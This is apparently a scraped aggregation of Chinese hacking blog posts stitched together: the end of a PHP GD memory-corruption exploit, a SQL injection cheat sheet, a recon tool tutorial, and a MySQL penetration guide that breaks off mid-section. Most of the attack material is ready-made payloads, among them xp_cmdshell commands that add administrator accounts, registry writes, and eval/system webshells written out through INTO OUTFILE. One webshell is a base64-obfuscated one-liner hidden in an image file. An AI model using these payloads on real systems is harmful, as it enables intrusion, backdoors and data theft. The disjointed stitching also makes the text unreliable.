$props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);

print('Nenuphar.ce: 0x' . dechex($ce1_address) . "\n");
print('Nenuphar2.ce: 0x' . dechex($ce2_address) . "\n");
print('Nenuphar.properties: 0x' . dechex($props_address) . "\n");
print('z.val: 0x' . dechex($z_address) . "\n");
print('Difference: 0x' . dechex($z_address-$props_address) . "\n");

if(
	$ce2_address - $ce1_address < ($z_address-$props_address) / 0xff ||
	$z_address - $props_address < 0
)
{
	print('That won\'t work');
	exit(0);
}


#
# #3: Modifying Nenuphar.std.properties and Nenuphar.std.ce
#

# Each time we increment Nenuphar.properties by an arbitrary value, ce1_address
# is also incremented by one because of (*(bp++))++;
# Therefore after we're done incrementing props_address to z_address we need
# to increment ce1's address one by one until Nenuphar1.ce == Nenuphar2.ce

# The memory structure we have ATM is OK. We can just trigger the bug again
# until Nenuphar.properties == z_address

$color = imagecolorallocate($img1, 0, 0xFF, 0);
imagefill($img1, 0, 0, $color);
imagesetpixel($img2, 0, 0, $nb_colors + 3);

for($current=$props_address+0xFF;$current<=$z_address;$current+=0xFF)
{
	imagecolormatch($img1, $img2);
	$ce1_address++;
}

$color = imagecolorallocate($img1, 0, $z_address-$current+0xff, 0);
imagefill($img1, 0, 0, $color);
$current = imagecolormatch($img1, $img2);
$ce1_address++;

# Since we don't want to touch other values, only increase the first one, we set
# the three colors to 0
$color = imagecolorallocate($img1, 0, 0, 0);
imagefill($img1, 0, 0, $color);

# Trigger the bug once to increment ce1 by one.
while($ce1_address++ < $ce2_address)
{
	imagecolormatch($img1, $img2);
}

# Read the string again to see if we were successful

$new_ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
$new_props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);

if($new_ce1_address == $ce2_address && $new_props_address == $z_address)
{
	print("\nExploit SUCCESSFUL !\n");
}
else
{
	print('NEW Nenuphar.ce: 0x' . dechex($new_ce1_address) . "\n");
	print('NEW Nenuphar.std.properties: 0x' . dechex($new_props_address) . "\n");
	print("\nExploit FAILED !\n");
}

Ichidan暗网网址 一个新的暗网搜索引擎

sql手工注入 SQL注入语法

$
0
0

sql手工注入 SQL注入语法

1、判断是否有注入

;and 1=1
;and 1=2

2、初步判断是否是mssql

;and user>0

3、判断数据库系统

;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

4、注入参数是字符

‘and [查询条件] and ”=’

5、搜索时没过滤参数的

‘and [查询条件] and ‘%25’=’

6、猜数据库

;and (select Count(*) from [数据库名])>0

7、猜字段

;and (select Count(字段名) from 数据库名)>0

8、猜字段中记录长度

;and (select top 1 len(字段名) from 数据库名)>0

9、(1)猜字段的ascii值(access)

;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)

;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10、测试权限结构(mssql)

;and 1=(select IS_SRVROLEMEMBER(‘sysadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘serveradmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘setupadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘securityadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘diskadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’));–
;and 1=(select IS_MEMBER(‘db_owner’));–

11、添加mssql和系统的帐户

;exec master.dbo.sp_addlogin username;–
;exec master.dbo.sp_password null,username,password;–
;exec master.dbo.sp_addsrvrolemember sysadmin username;–
;exec master.dbo.xp_cmdshell ‘net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;–
;exec master.dbo.xp_cmdshell ‘net user username password /add’;–
;exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add’;–

12、(1)遍历目录

;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree ‘c:\’
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(‘上步得到的paths’))>)

(2)遍历目录

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs ‘c:\’;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;– 获得所有子目录的目录树结构
;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:\web\index.asp’;– 查看文件的内容

13、mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’CommonFilesDir’ 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestvalueName’,’reg_sz’,’hello’ 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestvalueName’ 删除某个值
xp_regdeletekey ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey’ 删除键,包括该键下所有值

14、mssql的backup创建webshell

use model
create table cmd(str image);
insert into cmd(str) values (”);
backup database model to disk=’c:\l.asp’;

15、mssql内置函数

;and (select @@version)>0 获得Windows的版本号
;and user_name()=’dbo’ 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

16、简洁的webshell

use model
create table cmd(str image);
insert into cmd(str) values (”);
backup database model to disk=’g:\wwwtest\l.asp’;

请求的时候,像这样子用:
http://ip/l.asp?c=dir

SQL手工注入方法总结———以下以省略注入点用URL代替

–(1) ******查看驱动器方法******

— 建表p(i为自动编号,a记录盘符类似”c:\”,b记录可用字节,其它省略)


URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar(255),d nvarchar(255));–

URL;insert p exec xp_availablemedia;–列出所有驱动器并插入表p

URL;and (select count(*) from p)>3;–折半法查出驱动器总数

URL;and ascii(substring((select a from p where i=1),1,1))=67;–折半法查出驱动器名(注asc(c)=67)

–上面一般用于无显错情况下使用——-以此类推,得到所有驱动器名

URL;and (select a from p where i=1)>3;–报错得到第一个驱动器名

–上面一般用于显错情况下使用——-以此类推,得到所有驱动器名

URL;;drop table p;–删除表p

–(2) ******查看目录方法******

URL;create table pa(m nvarchar(255),i nvarchar(255));–建表pa(m记录目录,i记录深度)
URL;insert pa exec xp_dirtree ’e:’;–列出驱动器e并插入表pa
URL;and (select count(*) from pa where i>0)>-1;–折半法查出i深度
URL;and (select top 1 m from pa where i=1 and m not in(select top 0 m from pa))>0;–报错得到深度i=1的第一个目录名

–上面一般用显错且目录名不为数字情况下使用——-(得到第二个目录把”top 0″换为”top 1″,换深度只换i就行)以此类推,得到e盘的所有目录

URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;
折半法查出深度i=1的第一个目录名的长度
URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;

折半法查出深度i=1的第一个目录名的第一个字符长度

此文章来源于
https://www.ddosi.com/2017/11/17/sql/
2018年以前网站服务器的备份,当时决定不要了,删了所有东西,现在还原一下(有些图片挂了,永远找不回来了,sorry)from

暗网邮件网址 暗网匿名邮件服务网址 暗网聊天室网址

渗透测试信息收集续 服务器信息 DNS枚举 敏感目录发掘

$
0
0

渗透测试信息收集续 服务器信息 DNS枚举 敏感目录发掘

1、whois查询网站及服务器信息

如果知道目标的域名,你首先要做的就是通过Whois数据库查询域名的注册信息,Whois数据库是提供域名的注册人信息,包括联系方式,管理员名字,管理员邮箱等等,其中也包括DNS服务器的信息。
默认情况下,Kali已经安装了Whois。你只需要输入要查询的域名即可:

利用以上收集到的邮箱、QQ、电话号码、姓名、以及服务商,可以针对性进行攻击,利用社工库进行查找相关管理员信息,另外也可以对相关DNS服务商进行渗透,查看是否有漏洞,利用第三方漏洞平台,查看相关漏洞。

2、Dig使用

可以使用dig命令对DNS服务器进行挖掘
Dig命令后面直接跟域名,回车即可

【Dig常用选项】

-c选项,可以设置协议类型(class),包括IN(默认)、CH和HS。

-f选项,dig支持从一个文件里读取内容进行批量查询,这个非常体贴和方便。文件的内容要求一行为一个查询请求。来个实际例子吧:

-4和-6两个选项,用于设置仅适用哪一种作为查询包传输协议,分别对应着IPv4和IPv6。

-t选项,用来设置查询类型,默认情况下是A,也可以设置MX等类型,来一个例子:

-q选项,其实它本身是一个多余的选项,但是它在复杂的dig命令中又是那么的有用。-q选项可以显式设置你要查询的域名,这样可以避免和其他众多的参数、选项相混淆,提高了命令的可读性,来个例子:

-x选项,是逆向查询选项。可以查询IP地址到域名的映射关系。举一个例子:

【跟踪dig全过程】
dig非常著名的一个查询选项就是+trace,当使用这个查询选项后,dig会从根域查询一直跟踪直到查询到最终结果,并将整个过程信息输出出来

【精简dig输出】

  1. 使用+nocmd的话,可以节省输出dig版本信息。

Dig可以用来查域传送漏洞,前面介绍了dig的使用,若将查询类型设定为axfr,就能得到域传送数据。这也是我们要用来测试DNS域传送泄露的命令.

3、Nslookup用法

nslookup是站长较为常用的工具之一,它甚至比同类工具dig的使用人数更多,原因是它的运行环境是windows,并且不需要我们再另外安装什么东西。dig是在linux环境里运行的命令,不过也可以在windows环境里使用,只是需要安装dig windows版本的程序。
Nslookup命令以两种方式运行:非交互式和交互式。

本文第一次提到“交互式”的概念,简单说明:交互式系统是指执行过程中允许用户输入数据和命令的系统。而非交互式系统,是指一旦开始运行,不需要人干预就可以自行结束的系统。因此,nslookup以非交互式方式运行,就是指运行后自行结束。而交互式,是指开始运行后,会要求使用者进一步输入数据和命令。

  • 类型:

A 地址记录
AAAA 地址记录
AFSDB Andrew文件系统数据库服务器记录
ATMA ATM地址记录
CNAME 别名记录
HINFO 硬件配置记录,包括CPU、操作系统信息
ISDN 域名对应的ISDN号码
MB 存放指定邮箱的服务器
MG 邮件组记录
MINFO 邮件组和邮箱的信息记录
MR 改名的邮箱记录
MX 邮件服务器记录
NS 名字服务器记录
PTR 反向记录
RP 负责人记录
RT 路由穿透记录
SRV TCP服务器信息记录
TXT 域名对应的文本信息
X25 域名对应的X.25地址记录

  • 例如:
    1.设置类型为ns

2.下面的例子查询baidu.com使用的DNS服务器名称:

3.下面的例子展示如何查询baidu.com的邮件交换记录:

4.查看网站cname值。

5.查看邮件服务器记录(-qt=MX)

6.同样nslookup也可以验证是否存在域传送漏洞,步骤如下:

1) nslookup进入交互式模式

2) Server 设置使用的DNS服务器

3) ls命令列出某个域中的所有域名

4、fierce工具


在进行了基本域名收集以后,如果能通过主域名得到所有子域名信息,再通过子域名查询其对应的主机IP,这样我们能得到一个较为完整的信息。除了默认使用,我们还可以自己定义字典来进行域名爆破。

  • 使用fierce工具,可以进行域名列表查询:fierce -dns domainName

输出结果表明,程序首先进行了域传送测试,域传送通过一条命令就能获取服务器上所有的域名信息。如果一次就能简单获取服务器上所有记录域名信息,就不再暴力破解。

但从结果上看,“Unsucessful in zone transfer”,

域传送测试是失败了。接着执行暴力破解,测试的数量取决于字典中提供的字符串数量,上例中没有指定字典,在默认情况下在Kali中使用/usr/share/fierce/hosts.txt。一个内部网络的DNS域名服务器可以提供大量信息,这些信息可以在以后评估网络漏洞。

5、theHarvester的使用


theHarvester是一个社会工程学工具,它通过搜索引擎、PGP服务器以及SHODAN数据库收集用户的email,子域名,主机,雇员名,开放端口和banner信息。

-d 服务器域名

-l 限制显示数目

-b 调用搜索引擎(baidu,google,bing,bingapi,pgp,linkedin,googleplus,jigsaw,all)

-f 结果保存为HTML和XML文件

-h 使用傻蛋数据库查询发现主机信息

  • 实例1:
    theHarvester -d sec-redclub.com -l 100 -b baidu
  • 实战2:
    • 输出到html文件中,可以更清晰的看到搜索的网站信息的模型。

theHarvester -d sec-redclub.com -l 100 -b baidu -f myresults.html

6、DNS枚举工具DNSenum


DNSenum是一款非常强大的域名信息收集工具。它能够通过谷歌或者字典文件猜
测可能存在的域名,并对一个网段进行反向查询。它不仅可以查询网站的主机地址
信息、域名服务器和邮件交换记录,还可以在域名服务器上执行axfr请求,然后通
过谷歌脚本得到扩展域名信息,提取子域名并查询,最后计算C类地址并执行whois
查询,执行反向查询,把地址段写入文件。本小节将介绍使用DNSenum工具检查
DNS枚举。在终端执行如下所示的命令:

输出的信息显示了DNS服务的详细信息。其中,包括主机地址、域名服务地址和邮
件服务地址,最后会尝试是否存在域传送漏洞。
使用DNSenum工具检查DNS枚举时,可以使用dnsenum的一些附加选项,如下所
示。

  1. –threads [number]:设置用户同时运行多个进程数。

-r:允许用户启用递归查询。

-d:允许用户设置WHOIS请求之间时间延迟数(单位为秒)。

-o:允许用户指定输出位置。

-w:允许用户启用WHOIS请求。

7、subDomainsbrute二级域名收集


二级域名是指顶级域名之下的域名,在国际顶级域名下,它是指域名注册人的网上名称;
在国家顶级域名下,它是表示注册企业类别的符号。
我国在国际互联网络信息中心(Inter NIC) 正式注册并运行的顶级域名是CN,这也是我国的一级域名。
在顶级域名之下,我国的二级域名又分为类别域名和行政区域名两类。
类别域名共7个,包括用于科研机构的ac;
国际通用域名com、top;
用于教育机构的edu;用于政府部门的gov;
用于互联网络信息中心和运行中心的net;
用于非盈利组织的org。
而行政区域名有34个,分别对应于我国各省、自治区和直辖市。(摘自百度百科)

以上为工具默认参数,如果是新手,请直接跟主域名即可,不用进行其它设置。

Python subDomainsbrute.py sec-redclub.com

就可以直接运行,等待结果,最后在工具文件夹下面存在txt文件,直接导入扫描工具就可以进行扫描了。

8、layer子域名检测工具


layer子域名检测工具主要是windows一款二级域名检测工具,利用爆破形式。
工具作者:http://www.cnseay.com/4193/

域名对话框直接输入域名就可以进行扫描了,工具显示比较细致,有域名、解析ip、cnd列表、web服务器和网站状态,这些对于一个安全测试人员,非常重要。如下操作:

会显示大部分主要二级域名。

9、Nmap


Nmap是一个网络连接端口扫描软件,用来扫描网上电脑开放的网络连接端口。确定哪些服务运行在哪些连接端口,并且推断计算机运行哪个操作系统。它是网络管理员必用的软件之一,以及用以评估网络系统安全。
功能:

1、 主机发现

2、 端口扫描

3、 版本侦测

4、 OS侦测

几种部署方式:

  • Kail集成环境
  • 单独安装(使用yum工具直接安装)
  • PentestBox环境
  • Windows版等等
    Nmap的参数和选项繁多,功能非常丰富。我们先来看一下Nmap的通用命令格式:

(详细教程及下载方式参见:[]()http://nmap.org/
Nmap<扫描选项><扫描目标>

主机发现的原理与Ping命令类似,发送探测包到目标主机,如果收到回复,那么说明目标主机是开启的。Nmap支持十多种不同的主机探测方式,比如发送ICMP ECHO/TIMESTAMP/NETMASK报文、发送TCPSYN/ACK包、发送SCTP INIT/COOKIE-ECHO包,用户可以在不同的条件下灵活选用不同的方式来探测目标机。

主机发现的基本用法

  1. -sL: List Scan 列表扫描,仅将指定的目标的IP列举出来,不进行主机发现。
  2. -sn: Ping Scan 只进行主机发现,不进行端口扫描。
  3. -Pn: 将所有指定的主机视作开启的,跳过主机发现的过程。
  4. -PS/PA/PU/PY[portlist]: 使用TCPSYN/ACK或SCTP INIT/ECHO方式进行发现。
  5. -PE/PP/PM: 使用ICMP echo, timestamp, and netmask 请求包发现主机。
  6. -PO[protocollist]: 使用IP协议包探测对方主机是否开启。
  7. -sP:Ping 指定范围内的 IP 地址
  8. -n/-R: -n表示不进行DNS解析;-R表示总是进行DNS解析。
  9. –dns-servers <serv1[,serv2],…>: 指定DNS服务器。
  10. –system-dns: 指定使用系统的DNS服务器
  11. –traceroute: 追踪每个路由节点

扫描局域网192.168.80.1/24范围内哪些IP的主机是活动的。

  • 命令如下:nmap –sn 192.168.80.1/24

由图可知:192.168.80.1192.168.80.254192.168.80.166三台主机处于存活状态。

扫描局域网1192.168.80.100-2001范围内哪些IP的主机是活动的。

  • 命令如下:1nmap –sP 192.168.80.100-2001

端口扫描是Nmap最基本最核心的功能,用于确定目标主机的TCP/UDP端口的开放情况。默认情况下,Nmap会扫描1000个最有可能开放的TCP端口。Nmap通过探测将端口划分为6个状态:

open:端口是开放的。

closed:端口是关闭的。

filtered:端口被防火墙IDS/IPS屏蔽,无法确定其状态。

unfiltered:端口没有被屏蔽,但是否开放需要进一步确定。

open|filtered:端口是开放的或被屏蔽。

closed|filtered :端口是关闭的或被屏蔽。

  • 端口扫描方面非常强大,提供了很多的探测方式:

TCP SYN scanning

TCP connect scanning

TCP ACK scanning

TCP FIN/Xmas/NULL scanning

UDP scanning

其他方式

-sS/sT/sA/sW/sM:指定使用 TCP SYN/Connect()/ACK/Window/Maimon scans的方式来对目标主机进行扫描。

  • -sU: 指定使用UDP扫描方式确定目标主机的UDP端口状况。
  • -sN/sF/sX: 指定使用TCP NullFINand Xmas scans秘密扫描方式来协助探测对方的TCP端口状态。
  • –scanflags <flags>: 定制TCP包的flags。
  • -sI <zombiehost[:probeport]>: 指定使用idle scan方式来扫描目标主机(前提需要找到合适的zombie host)
  • -sY/sZ: 使用SCTP INIT/COOKIE-ECHO来扫描SCTP协议端口的开放的情况。
  • -sO: 使用IP protocol 扫描确定目标机支持的协议类型。
  • -b <FTP relay host>: 使用FTP bounce scan扫描方式
  • -p指定端口扫描

在此,我们以主机192.168.80.166为例。命令如下:

  • nmap -sS -p0-65535 -T4 192.168.80.166
    参数-sS表示使用TCP SYN方式扫描TCP端口;-p0-65535表示扫描所有端口;-T4表示时间级别配置4级;

扫描特定端口是否开放

  • nmap -p21,80,445,3306 192.168.80.166

简要的介绍版本的侦测原理。版本侦测主要分为以下几个步骤:

  1. 首先检查openopen|filtered状态的端口是否在排除端口列表内。如果在排除列表,将该端口剔除。
  2. 如果是TCP端口,尝试建立TCP连接。尝试等待片刻(通常6秒或更多,具体时间可以查询文件nmap-services-probesProbe TCP NULL q||对应的totalwaitms)。通常在等待时间内,会接收到目标机发送的“WelcomeBanner”信息。nmap将接收到的Bannernmap-services-probesNULL probe中的签名进行对比。查找对应应用程序的名字与版本信息。
  3. 如果通过“Welcome Banner”无法确定应用程序版本,那么nmap再尝试发送其他的探测包(即从nmap-services-probes中挑选合适的probe),将probe得到回复包与数据库中的签名进行对比。如果反复探测都无法得出具体应用,那么打印出应用返回报文,让用户自行进一步判定。
  4. 如果是UDP端口,那么直接使用nmap-services-probes中探测包进行探测匹配。根据结果对比分析出UDP应用服务类型。
     如果探测到应用程序是SSL,那么调用openSSL进一步的侦查运行在SSL之上的具体的应用类型。
  5. 如果探测到应用程序是SunRPC,那么调用brute-force RPC grinder进一步探测具体服务。
  6. -sV: 指定让Nmap进行版本侦测
  7. –version-intensity <level>: 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。
  8. –version-light: 指定使用轻量侦测方式 (intensity 2)
  9. –version-all: 尝试使用所有的probes进行侦测 (intensity 9)
  10. –version-trace: 显示出详细的版本侦测过程信息。

对主机192.168.80.166进行版本侦测。

  • 命令如下:nmap -sV -p0-65535 -T4 192.168.80.166

Nmap使用TCP/IP协议栈指纹来识别不同的操作系统和设备。在RFC规范中,有些地方对TCP/IP的实现并没有强制规定,由此不同的TCP/IP方案中可能都有自己的特定方式。Nmap主要是根据这些细节上的差异来判断操作系统的类型的。
具体实现方式如下:
Nmap内部包含了2600多已知系统的指纹特征(在文件nmap-os-db文件中)。将此指纹数据库作为进行指纹对比的样本库。分别挑选一个open和closed的端口,向其发送经过精心设计的TCP/UDP/ICMP数据包,根据返回的数据包生成一份系统指纹。将探测生成的指纹与nmap-os-db中指纹进行对比,查找匹配的系统。如果无法匹配,以概率形式列举出可能的系统。

  1. -O: 指定Nmap进行OS侦测。 
     –osscan-limit: 限制Nmap只对确定的主机的进行OS探测(至少需确知该主机分别有一个open和closed的端口)。
  2. –osscan-guess: 大胆猜测对方的主机的系统类型。由此准确性会下降不少,但会尽可能多为用户提供潜在的操作系统。

命令:nmap –O 192.168.80.166

  1. -vv详细显示扫描状态
    nmap -p21,80,445,3306 -vv 192.168.80.166
  1. –script 使用nse脚本,也可自行编写nse脚本,nmap有580多个脚本

nmap --script=auth 192.168.80.166

  1. –script=brute 对弱口令进行暴力破解
    nmap --script=brute 192.168.80.166
  1. –script=default 使用默认nse脚本搜集应用的信息
    nmap --script=default 192.168.80.166
  1. –script=vuln 检测常见漏洞
    nmap --script=vuln 192.168.80.166

优势:

  • 功能灵活强大,支持多种目标,大量计算机的同时扫描;
  • 开源,相关帮助文档十分详细;
  • 流行,由于其具有强大的扫描机探测功能,,已被成千上万安全专家使用。
    劣势:
  • Nmap参数众多,难以一一记忆;

10、DirBuster


DirBuster是一款路径及网页暴力破解的工具,可以破解出一直没有访问过或者管理员后台的界面路径。
Java运行环境+DirBuster程序包

  • 双击运行DirBuster.jar
  • 在URL中输入目标URL或者主机IP地址
  • file with list of dirs/files 栏后点击browse,选择破解的字典库为directory-list-2.3-small.txt
  • 将File extension中填入正确的文件后缀,默认为php,如果为jspaspaspx页面,需要填入jspaspaspx
  • 同样可以选择自己设置字典,线程等等
  • 其他选项不变,点击右下角的start,启动目录查找
  • 观察返回结果,可点击右下角的report,生成目录报告
    优点:
  • 敏感目录发掘能力强
  • OWASP安全机构极力推荐
    缺点:
  • 探测目录依赖字典文件

此文章来源于
https://www.ddosi.com/2017/11/12/safe-tools/
2018年以前网站服务器的备份,当时决定不要了,删了所有东西,现在还原一下(有些图片挂了,永远找不回来了,sorry)from

387个暗网网址 Dark Web Websites URL


Mysql数据库渗透及漏洞利用总结

$
0
0

Mysql数据库渗透及漏洞利用总结

目录

Mysql数据库渗透及漏洞利用总结
Mysql信息收集
端口信息收集
版本信息收集
数据库管理信息收集
msf信息收集模块
Mysql密码获取
暴力破解
源代码泄露
文件包含
其它情况
Mysql获取webshell
phpmyadminroot账号获取webshell
sqlmap注入点获取webshell
Mysql提权
mof提权
Webshell上传mof文件提权
生成nullevtmof文件
通过Mysql查询将文件导入
Msf直接mof提权
UDF提权
sqlmap直连数据库提权
启动项提权
Msf其它相关漏洞提权
mysql密码破解
cain工具破解mysql密码
网站在线密码破解
oclhash破解
John the Ripper password cracker

Mysql数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用Mysql作为其数据库支撑,目前很多架构都以Mysql作为数据库管理系统,例如LAMP、和WAMP等,在针对网站渗透中,很多都是跟Mysql数据库有关,各种Mysql注入,Mysql提权,Mysql数据库root账号webshell获取等的,但没有一个对Mysql数据库渗透较为全面对总结,针对这种情况我们开展了研究,虽然我们团队今年正在出版《网络攻防实战研究——漏洞利用与提权》,但技术的进步有无止境,思想有多远,路就可以走多远,在研究mysql数据库安全之余,对Mysql如何通过msf、sqlmap等来进行扫描、漏洞利用、提权、Mysql密码破解和获取webshell等进行了详细研究。

1.1 Mysql信息收集

1.端口信息收集

Mysql默认端口是3306端口,但也有自定义端口,针对默认端口扫描主要利用扫描软件进行探测,推荐使用:

(1)iisputter,直接填写3306端口,IP地址填写单个或者C段地址。

(2)nmap扫描nmap -p 3306 192.168.1.1-254

特定目标的渗透,可能需要对全端口进行扫描,可以使用Nmap对某一个IP地址进行全端口扫描,端口扫描软件还有sfind等DOS下扫描的工具。

2.版本信息收集

(1)msf查看版本信息auxiliary/scanner/mysql/mysql_version模块,以扫描主机192.168.157.130为例,命令为:

use auxiliary/scanner/mysql/mysql_version
set rhosts 192.168.157.130
run

(2)mysql查询版本命令:

SELECT @@version`、`SELECT  version();

(3)sqlmap通过注入点扫描确认信息:

sqlmap.py -u url --dbms mysql

(4)phpmyadmin管理页面登录后查看localhost->变量->服务器变量和设置中的version参数值。

3.数据库管理信息收集

Mysql管理工具有多种,例如phpmyadmin网站管理,Navicat for MySQL以及MysqlFront等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。

4.msf信息收集模块

(1)mysql哈希值枚举

use auxiliary/scanner/mysql/mysql_hashdump
set username root
set password root
run

(2)获取相关信息

use auxiliary/admin/mysql/mysql_enum
set username root
set password root
run

获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。

(3)执行mysql语句,连接成功后可以在msf执行sql语句,跟sqlmap的--sql-shell模块类似。

use auxiliary/admin/mysql/mysql_sql

(4)将mysql_schem导出到本地 /root/.msf4/loot/文件夹下

use auxiliary/scanner/mysql/mysql_schemadump

(5)文件枚举和目录可写信息枚举

auxiliary/scanner/mysql/mysql_file_enum
auxiliary/scanner/mysql/mysql_writable_dirs

没有测试成功过,需要定义枚举目录和相关文件,觉得基本没有啥用。

1.2Mysql密码获取

1.2.1暴力破解

Mysql暴力破解主要有几种:

1.网页在线连接破解

可以使用burpsuite和phpMyAdmin多线程批量破解工具。 下载:https://portswigger.net/burp/、http://pan.baidu.com/s/1c1LD6co

2.msf通过命令行进行暴力破解

msf破解mysql密码模块auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDSBRUTEFORCE_SPEEDDB_ALL_CREDSDB_ALL_PASSDB_ALL_USERSPASSWORDPASS_FILEProxiesRHOSTSRPORTSTOP_ON_SUCCESSTHREADSUSERNAMEUSERPASS_FILEUSER_AS_PASSUSER_FILEVERBOSE参数。对单一主机仅仅需要设置RHOSTSRPORTUSERNAMEPASSWORDPASS_FILE,其它参数根据实际情况进行设置。

(1)场景A:对内网获取root某一个口令后,扩展渗透

use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.1-254
set password root
set username root
run

执行后对192.168.157.1-254进行mysql密码扫描验证。

(2)场景B:使用密码字典进行扫描

use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.1-254
set pass_file /tmp/password.txt
set username root
run

3.使用nmap扫描并破解密码

(1)对某一个IP或者IP地址段进行nmap默认密码暴力破解并扫描

nmap --script=mysql-brute 192.168.157.130
nmap --script=mysql-brute 192.168.157.1-254

(2)使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息

nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130

(3)检查root空口令

nmap --script mysql-empty-password 192.168.195.130

4.使用hscan工具对mysql口令进行扫描,需要设置扫描IP地址段以及数据库口令字典及用户名字典。

1.2.2源代码泄露

1.网站源代码备份文件

一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为config.phpweb.configconn.aspdb.php/aspjdbc.propertiessysconfig.propertiesJBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘鸡可以自定义网站等名称对zip/rar/tar/tar.gz/gz/sql等后缀文件进行扫描。

2.配置备份文件

使用ultraedit等编辑文件编辑数据库配置文件后,会留下bak文件。

1.2.3文件包含

本地文件包含漏洞可以包含文件,通过查看文件代码获取数据库配置文件,进而读取数据库用户名和密码。

1.2.4其它情况

有些软件会将IP地址、数据库用户名和密码写进程序中,运行程序后,通过cain软件进行嗅探,可以获取数据库密码。另外Mysql客户端管理工具有的管理员会建立连接记录,这些连接记录保存了用户名、密码和连接IP地址或者主机名,通过配置文件或者嗅探可以获取用户名和密码。

1.3Mysql获取webshell

1.3.1phpmyadminroot账号获取webshell

MysqlRoot账号通过phpMyAdmin获取webshell的思路,主要有下面几种方式,以第一二六八种方法较佳,其它可以根据实际情况来进行。

1.直接读取后门文件

通过程序报错、phpinfo函数、程序配置表等直接获取网站真实路径,有些网站前期已经被人渗透过,因此在目录下留有后门文件通过load_file直接读取。

2.直接导出一句话后门

前提需要知道网站的真实物理路径,例如呼求偶真实路径D:\work\WWW,则可以通过执行以下查询,来获取一句话后门文件cmd.php,访问地址http://www.somesite.com/cmd.php

select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php'

3.创建数据库导出一句话后门

在查询窗口直接执行以下代码即可,跟2.原理类似。

CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );
INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>');
SELECT `temp` FROM `antian365` INTO OUTFILE'D:/www/antian365.php';
DROP TABLE IF EXISTS `antian365`;

4.可执行命令方式

​ 创建执行命令形式的shell,但前提是对方未关闭系统函数。该方法导出成功后可以直接执行DOS命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接执行dos命令)。

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php'

另外在linux下可以导出直接执行命令的shell:

SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
http://localhost/shell.php?c=cat%20/etc/passwd

5.过杀毒软件方式

通过后台或者存在上传图片的地方,上传图片publicguide.jpg,内容如下:

<?php$a=' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=';error_reporting(0);@set_time_limit(0);eval("?>".base64_decode($a));?>

然后通过图片包含temp.php,导出webshell。

select '<?php include 'publicguide.jpg' ?>'INTO OUTFILE 'D:/work/WWW/antian365.php'

一句话后门密码:antian365

6.直接导出加密webshell

一句话后门文件密码:pp64mqa2x1rnw68,执行以下查询直接导出加密webshell,D:/WEB/IPTEST/22.php,注意在实际过程需要修改D:/WEB/IPTEST/22.php

